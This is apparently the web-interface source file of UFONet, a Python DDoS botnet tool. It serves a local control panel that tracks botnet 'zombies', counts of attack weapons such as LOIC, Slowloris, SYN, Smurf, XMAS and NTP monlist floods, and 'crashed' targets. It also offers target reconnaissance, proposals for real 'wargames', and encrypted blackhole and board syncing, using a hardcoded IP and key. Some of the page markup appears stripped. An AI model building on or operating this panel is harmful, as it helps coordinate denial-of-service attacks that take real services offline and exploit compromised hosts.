#!/usr/bin/env python3 # -*- coding: utf-8 -*-" """ This file is part of the UFONet project, https://ufonet.03c8.net Copyright (c) 2013/2020 | psy You should have received a copy of the GNU General Public License along with UFONet; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import socket, threading, re, os, time, random, base64 import webbrowser, subprocess, json, sys import urllib.request, urllib.error, urllib.parse from core.tools.crypter import Cipher from time import gmtime, strftime, strptime from Crypto.Cipher import AES from hashlib import sha1, sha256 from decimal import Decimal from random import shuffle from urllib.parse import urlparse as urlparse from .options import UFONetOptions from .main import UFONet from core.tools.abductor import Abductor #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D default_blackhole = '176.28.23.46' # default blackhole # crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key # ################################################################### blackhole_sep = "|" # blackhole stream separator board_msg_sep = "#!#" # board stream separator grid_msg_sep = "#?#" # grid stream seperator wargames_msg_sep = "#-#" # wargames stream seperator host = "0.0.0.0" port = 9999 class ClientThread(threading.Thread): def __init__(self, ip, port, socket): threading.Thread.__init__(self) self.ip = ip self.port = port self.socket = socket self.pages = Pages() def run(self): req = self.socket.recv(2048) res = self.pages.get(req) if res is None: self.socket.close() return out = "HTTP/1.0 %s\r\n" % res["code"] out += "Content-Type: %s\r\n\r\n" % res["ctype"] out += "%s" % res["html"] try: self.socket.send(out.encode('utf-8')) except: self.socket.send(out) self.socket.close() if "run" in res and len(res["run"]): subprocess.Popen(res["run"], shell=True) class Pages(): def file_len(self, fn): with open(fn) as f: for i, l in enumerate(f): pass return i + 1 def html_army_map(self,target=None): try: target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n" except: target_js="not any zombie available\n\n" if target is not None: target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n" return self.pages["/header"] + """
""" + self.pages["/footer"] def html_request_submit(self): return self.pages["/header"]+"""
settings updated"""+self.pages["/footer"] def html_requests(self): # read requests configuration file (json) try: with open(self.mothership_webcfg_file) as data_file: data = json.load(data_file) except: if os.path.exists(self.mothership_webcfg_file) == True: print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n') return else: # generate default requests configuration file print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]') with open(self.mothership_webcfg_file, "w") as f: json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4) # set values of requests configuration from json file to html form with open(self.mothership_webcfg_file) as data_file: data = json.load(data_file) self.agents = [] # generating available user-agents f = open(self.agents_file) agents = f.readlines() f.close() for agent in agents: self.agents.append(agent) self.user_agent = random.choice(self.agents).strip() self.rproxy = data["rproxy"] if self.rproxy == "NONE": self.rproxy = "" self.ruseragent = data["ruseragent"] if self.ruseragent == "RANDOM": self.ruseragent = self.user_agent # random user-agent self.rreferer = data["rreferer"] if self.rreferer == "RANDOM": self.rreferer = self.referer # random referer self.rhost = data["rhost"] if self.rhost == "NONE": self.rhost = "" self.rxforw = data["rxforw"] if self.rxforw == "on": self.rxforw_check = 'checked' else: self.rxforw_check = '' self.rxclient = data["rxclient"] if self.rxclient == "on": self.rxclient_check = 'checked' else: self.rxclient_check = '' self.rtimeout = data["rtimeout"] self.rretries = data["rretries"] self.rdelay = data["rdelay"] self.threads = data["threads"] self.rssl = data["rssl"] if self.rssl == "on": self.rssl_check = 'checked' else: self.rssl_check = '' return self.pages["/header"] + """
 Configure requests:
Use proxy server:
Use another HTTP User-Agent header:
Use another HTTP Referer header:
Use another HTTP Host header:
Set your HTTP X-Forwarded-For with random IP values:
Set your HTTP X-Client-IP with random IP values:
Select your timeout:
Retries when the connection timeouts:
Delay in seconds between each HTTP request:
Number of threads:
Force usage of SSL/HTTPS requests:

""" + self.pages["/footer"] def html_board_profile_submit(self): return self.pages["/header"]+"""
Board profile updated. Re-enter to see changes..."""+self.pages["/footer"] def html_grid_profile_submit(self): return self.pages["/header"]+"""
Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"] def profile_crew(self, icon): files = os.listdir("core/images/crew/") if icon == "NONE": icon = "link1" html_stream = "" html_stream += "" for f in files: id = str(f.replace(".txt", "")) value = str(f.replace(".txt", "")) if icon == value: checked = " CHECKED" else: checked = "" crew_img = open("core/images/crew/"+value+".txt").read() html_stream += "" html_stream += "
" return html_stream def html_board_profile(self): try: with open(self.mothership_boardcfg_file) as data_file: data = json.load(data_file) except: if os.path.exists(self.mothership_boardcfg_file) == True: print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n') return else: print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]') with open(self.mothership_boardcfg_file, "w") as f: json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4) f.close() with open(self.mothership_boardcfg_file) as data_file: data = json.load(data_file) self.profile_token = str(random.getrandbits(128)) # generating random token hash self.profile_icon = data["profile_icon"] self.profile_nick = data["profile_nick"] self.profile_nick.encode('utf-8') return self.pages["/header"] + """
 Configure profile:
OPERATOR/LINK: """+self.profile_crew(self.profile_icon)+"""
NICKNAME:

""" + self.pages["/footer"] def html_grid_profile(self): try: with open(self.mothership_gridcfg_file) as data_file: data = json.load(data_file) except: if os.path.exists(self.mothership_gridcfg_file) == True: print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n') return else: print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]') with open(self.mothership_gridcfg_file, "w") as f: json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4) f.close() with open(self.mothership_gridcfg_file) as data_file: data = json.load(data_file) self.grid_token = str(random.getrandbits(128)) # generating random token hash self.grid_contact = data["grid_contact"] self.grid_contact.encode('utf-8') self.grid_nick = data["grid_nick"] self.grid_nick.encode('utf-8') return self.pages["/header"] + """
 Configure grid profile:
NICKNAME:
EMAIL/URL (CONTACT):

""" + self.pages["/footer"] def html_board_remove(self): try: with open(self.mothership_boardcfg_file, "w") as f: json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4) except: return return self.pages["/header"]+"""
Board profile updated. Re-enter to see changes..."""+self.pages["/footer"] def html_grid_remove(self): try: with open(self.mothership_gridcfg_file, "w") as f: json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4) except: return return self.pages["/header"]+"""
Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"] def html_stats(self): total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist) if self.ranking == "Rookie": # Rookie your_ranking = "Rookie [*]" elif self.ranking == "Mercenary": # Mercenary your_ranking = "Mercenary [**]" elif self.ranking == "Bandit": # Bandit your_ranking = "Bandit [***]" elif self.ranking == "UFOmmander!": # UFOmmander! your_ranking = "UFOmmander! [****]" elif self.ranking == "UFOl33t!": # UFOl33t! your_ranking = "UFOl33t! [▼]" else: your_ranking = "[-] ( no0b! )" # no0b hacking attempt! ;-) return self.pages["/header"] + """
STATS device: ON

General:
RANKING:""" + str(your_ranking) + """
Flying (times):""" + str(self.aflying) + """

Missions:
Created (launched):""" + str(self.amissions) + """
Attacks (completed):""" + str(self.acompleted) + """
Targets (crashed):""" + str(self.tcrashed) + """
Crashing (T*100/A=C%):""" + str(round(self.mothership_acc, 2)) + """%
Botnet:
Total Cargo (now):"""+ self.total_botnet +"""
Scanner (new bots via dorking): """ + str(self.ascanner) + """
Transferred (new bots via blackholes): """ + str(self.atransferred) + """
Max. Chargo (always): """ + str(self.amax_chargo) + """

Weapons (use):
LOIC:""" + str(self.aloic) + """ LORIS:""" + str(self.aloris) + """
UFOSYN:""" + str(self.aufosyn) + """ SPRAY:""" + str(self.aspray) + """
SMURF:""" + str(self.asmurf) + """ XMAS:""" + str(self.axmas) + """
NUKE:""" + str(self.anuke) + """ TACHYON:""" + str(self.atachyon) + """
MONLIST:""" + str(self.amonlist) + """ TOTAL:""" + str(total_extra_attacks) +"""


""" + self.pages["/footer"] def hmac_sha1(self, key, msg): if len(key) > 20: key = sha1(key).digest() key += chr(0).encode('utf-8') * (20 - len(key)) o_key_pad = key.translate(self.trans_5C) i_key_pad = key.translate(self.trans_36) return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest() def derive_keys(self, key): key = key.encode('utf-8') h = sha256() h.update(key) h.update('cipher'.encode('utf-8')) cipher_key = h.digest() h = sha256() h.update(key) h.update('mac'.encode('utf-8')) mac_key = h.digest() return (cipher_key, mac_key) def decrypt(self, key, text): KEY_SIZE = 32 BLOCK_SIZE = 16 MAC_SIZE = 20 mode = AES.MODE_CFB try: iv_ciphertext_mac = base64.urlsafe_b64decode(text) except: try: padding = len(text) % 4 if padding == 1: return '' elif padding == 2: text += b'==' elif padding == 3: text += b'=' iv_ciphertext_mac = base64.urlsafe_b64decode(text) except TypeError: return None iv = iv_ciphertext_mac[:BLOCK_SIZE] ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE] mac = iv_ciphertext_mac[-MAC_SIZE:] (cipher_key, mac_key) = self.derive_keys(key) expected_mac = self.hmac_sha1(mac_key, iv + ciphertext) if mac != expected_mac: return None aes = AES.new(cipher_key, mode, iv) self.decryptedtext = aes.decrypt(ciphertext) try: self.decryptedtext = self.decryptedtext.decode('utf-8') except: pass def encrypt(self, key, text): key = base64.b64encode(key) c = Cipher(key, text) msg = c.encrypt() c.set_text(msg) self.encryptedtext = str(msg) def html_news(self): return self.pages["/header"] + """
Blackhole/IP:

Your key:
Try decryption!


Last update: """+ self.news_datetime + """

"""+self.news_text+"""


""" + self.pages["/footer"] def html_missions(self): return self.pages["/header"] + """
Blackhole/IP:

Your key:
Try decryption!


Last update: """+ self.missions_datetime + """

"""+self.missions_text+"""


""" + self.pages["/footer"] def html_board(self): self.board_welcome = "" # board hardcoded warning (hehe) self.board_topic = "" self.board_send_msg = "" if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read(): device_state = "OFF" device = "Board device: OFF
" else: device_state = "ON" self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text))) boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg data = json.load(boardcfg_json_file) boardcfg_json_file.close() profile_token = data["profile_token"] profile_icon = data["profile_icon"] profile_nick = data["profile_nick"] self.profile_nick.encode('utf-8') operator_img = open("core/images/crew/"+profile_icon+".txt").read() device = "OPERATOR/LINK: ON
-NICKNAME: "+str(self.profile_nick)+"
-ID: "+str(profile_token)+"
" if device_state == "OFF": board_filter = "" else: board_filter = "
/ALL
/GENERAL/#OPSEC
/FAQ/BUGS/MEDIA
" if device_state == "OFF": sync_panel = "" else: sync_panel = "
Blackhole/IP:


" if device_state == "OFF": board_panel = "" else: with open(self.board_file) as f: for line in f: line = line.strip() self.board_warning += "\n" + " " + line + " " + "\n" f.close() self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n) l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time board_panel = "
READ
WRITE
KEY:
"+board_filter+"
Try decryption!
"+self.board_welcome+"



CRYPTO-BOARD: (Last Update: "+str(l)+")

"+self.moderator_text+"


" if device_state == "OFF": remove_profile = "" else: remove_profile = '| | ' return self.pages["/header"] + """
"""+device+"""
"""+remove_profile+"""


"""+board_panel+""" """ + self.pages["/footer"] def generate_grid(self): with open(self.grid_file) as f: for line in f: line = line.strip() f.close() mothership_members = 0 # mothership_members stats bonus unknown_members = 0 # unknown (or non decrypted) mothership members grid_table = "
MEMBERS STATS:

" for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID if grid_msg_sep in m: version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships) m = m.split(grid_msg_sep) mothership_members = mothership_members + 1 grid_nickname = m[0][0:12] grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12) grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol) grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation) grid_totalchargo = m[2][0:4] # total chargo grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation) grid_dorking = m[3][0:4] # dorking grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation) grid_transferred = m[4][0:4] # transferred grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation) grid_maxchargo = m[5][0:4] # maxchargo grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation) grid_missions = m[6][0:4] # missions grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation) grid_attacks = m[7][0:4] # attacks grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation) grid_loic = m[8][0:4] # loic grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation) if version > 17: # v1.4 grid_loris = m[9][0:4] # loris grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = m[10][0:4] # ufosyn grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_spray = m[11][0:4] # spray grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation) grid_smurf = m[12][0:4] # smurf grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation) grid_xmas = m[13][0:4] # xmas grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation) grid_nuke = m[14][0:4] # nuke grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation) grid_tachyon = m[15][0:4] # tachyon grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = m[16][0:4] # monlist grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) try: grid_contact = "View" # js contact view (obfuscation) except: grid_contact= "invalid" try: grid_id = m[18] # id (plain id) except: grid_id = "invalid!" if version == 17: # v1.3 grid_loris = m[9][0:4] # loris grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = m[10][0:4] # ufosyn grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_spray = m[11][0:4] # spray grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation) grid_smurf = m[12][0:4] # smurf grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation) grid_xmas = m[13][0:4] # xmas grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation) grid_nuke = m[14][0:4] # nuke grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation) grid_tachyon = m[15][0:4] # tachyon grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) try: grid_contact = "View" # js contact view (obfuscation) except: grid_contact= "invalid" try: grid_id = m[17] # id (plain id) except: grid_id = "invalid!" elif version == 16: # v1.2.1 grid_loris = m[9][0:4] # loris grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = m[10][0:4] # ufosyn grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_spray = m[11][0:4] # spray grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation) grid_smurf = m[12][0:4] # smurf grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation) grid_xmas = m[13][0:4] # xmas grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation) grid_nuke = m[14][0:4] # nuke grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation) grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) try: grid_contact = "View" # js contact view (obfuscation) except: grid_contact= "invalid" try: grid_id = m[16] # id (plain id) except: grid_id = "invalid!" elif version == 15: # v1.2 grid_loris = m[9][0:4] # loris grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = m[10][0:4] # ufosyn grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_spray = m[11][0:4] # spray grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation) grid_smurf = m[12][0:4] # smurf grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation) grid_xmas = m[13][0:4] # xmas grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation) grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation) grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) try: grid_contact = "View" # js contact view (obfuscation) except: grid_contact= "invalid" try: grid_id = m[15] # id (plain id) except: grid_id = "invalid!" elif version == 12: # v1.1 grid_loris = m[9][0:4] # loris grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = m[10][0:4] # ufosyn grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation) grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation) grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation) grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation) grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) grid_contact = "View" # js contact view (obfuscation) try: grid_id = m[12] # id (plain id) except: grid_id = "invalid!" elif version == 11: # v1.0 grid_loris = m[9][0:4] # loris grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation) grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation) grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation) grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation) grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) grid_contact = "View" # js contact view (obfuscation) try: grid_id = m[11] # id (plain id) except: grid_id = "invalid!" elif version == 10: # v0.9 grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation) grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation) grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation) grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation) grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) grid_contact = "View" # js contact view (obfuscation) try: grid_id = m[10] # id (plain id) except: grid_id = "invalid!" else: # no valid version pass grid_table += "" else: # not valid stream data pass grid_table += "
NICKNAME:RANK:CHARGO:DORKING:TRANSF:MAX.CHARGO:MISSIONS:ATTACKS:LOIC:LORIS:UFOSYN:SPRAY:SMURF:XMAS:NUKE:TACHYON:MONLIST:CONTACT:
"+str(grid_nickname)+""+str(grid_ranking)+""+str(grid_totalchargo)+""+str(grid_dorking)+""+str(grid_transferred)+""+str(grid_maxchargo)+""+str(grid_missions)+""+str(grid_attacks)+""+str(grid_loic)+""+str(grid_loris)+""+str(grid_ufosyn)+""+str(grid_spray)+""+str(grid_smurf)+""+str(grid_xmas)+""+str(grid_nuke)+""+str(grid_tachyon)+""+str(grid_monlist)+""+str(grid_contact)+"
" if mothership_members == 0: mothership_members = "¿?" if unknown_members == 0: unknown_members = "¿?" l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time mother_grid = "

MOTHERSHIP STATS: (Last Update: "+str(l)+")

MEMBERS:"+str(mothership_members)+"-"+str(unknown_members)+"*¿?**¿?***¿?****¿?¿?

MISSIONS:¿?ATTACKS:¿?CHARGO (ACTIVE!):¿?DORKING:¿?TRANSF:¿?MAX.CHARGO:¿?

LOIC:¿?LORIS:¿?UFOSYN:¿?SPRAY:¿?SMURF:¿?
XMAS:¿?NUKE:¿?TACHYON:¿?MONLIST:¿?



" grid_table = mother_grid + grid_table + "
" return grid_table def html_grid(self): if self.ranking == "Rookie": # Rookie your_ranking = "Rookie [*]" elif self.ranking == "Mercenary": # Mercenary your_ranking = "Mercenary [**]" elif self.ranking == "Bandit": # Bandit your_ranking = "Bandit [***]" elif self.ranking == "UFOmmander!": # UFOmmander! your_ranking = "UFOmmander! [****]" elif self.ranking == "UFOl33t!": # UFOl33t! your_ranking = "UFOl33t! [▼]" else: your_ranking = "[-] ( no0b! )" # no0b hacking attempt! ;-) if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read(): device_state = "OFF" device = "Grid device: OFF
" else: device_state = "ON" gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg data = json.load(gridcfg_json_file) gridcfg_json_file.close() grid_token = data["grid_token"] grid_contact = data["grid_contact"] grid_contact.encode('utf-8') grid_nick = data["grid_nick"] grid_nick.encode('utf-8') device = "
-CONTACT: "+str(grid_contact)+"
-NICKNAME: "+str(grid_nick)+"
-RANKING: "+str(your_ranking)+"
-ID: "+str(grid_token)+"
" if device_state == "OFF": grid_panel = "" else: grid_table = self.generate_grid() grid_panel = grid_table + "

" if device_state == "OFF": dec_panel = "" else: dec_panel = "
Your key:
Try decryption!
" if device_state == "OFF": sync_panel = "" else: sync_panel = "
Blackhole/IP:

" if device_state == "OFF": transfer_panel = "" else: transfer_panel = "
Blackhole/IP:
Key (encryption):

" if device_state == "OFF": remove_grid = "" else: remove_grid = '| | | | | ' return self.pages["/header"] + """
"""+device+"""
"""+remove_grid+"""

"""+grid_panel+""" """ + self.pages["/footer"] def generate_wargames(self): with open(self.wargames_file) as f: for line in f: line = line.strip() f.close() wargames_table = "" for m in self.list_wargames: # list = creation, target, estimated if wargames_msg_sep in m: m = m.split(wargames_msg_sep) wargame_creation = m[0][0:12] # creation date wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation) wargame_target = m[1][0:12] # target (obfuscation) wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation) wargame_estimated = m[2][0:12] # estimated date wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation) wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!") wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation) wargame_status = wargame_state # status (obfuscated like state) wargames_table += "" wargames_table += "
CREATION:TARGET:DATE:ETA:STATUS:
"+str(wargame_creation)+""+str(wargame_target)+""+str(wargame_estimated)+""+str(wargame_state)+""+str(wargame_status)+"
" mother_wargame = "
" wargames_table = mother_wargame + wargames_table + "
" return wargames_table def html_wargames(self): l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time now = strftime("%d-%m-%Y %H:%M:%S", gmtime()) wargames_table = self.generate_wargames() return self.pages["/header"] + """
This feature will allow you to propose/join some real 'wargames'.


Blackhole/IP:
Try decryption!


Your proposal:
Date time (UTC): (ex: """+str(now)+""")
Blackhole/IP:


WARGAMES: (Last Update: """+str(l)+""")

"""+wargames_table+"""


"""+ self.pages["/footer"] def html_abduction(self): return self.pages["/header"] + """
  This feature will provide you information about target's web server. 
  You can use this before to attack to be more effective.

  


* Set your target:


""" + self.pages["/footer"] def html_blackholes(self): return self.pages["/header"] + """
Blackhole/IP:

Your key:
Try decryption!


Last update: """+ self.blackholes_datetime + """

"""+self.blackholes_text+"""
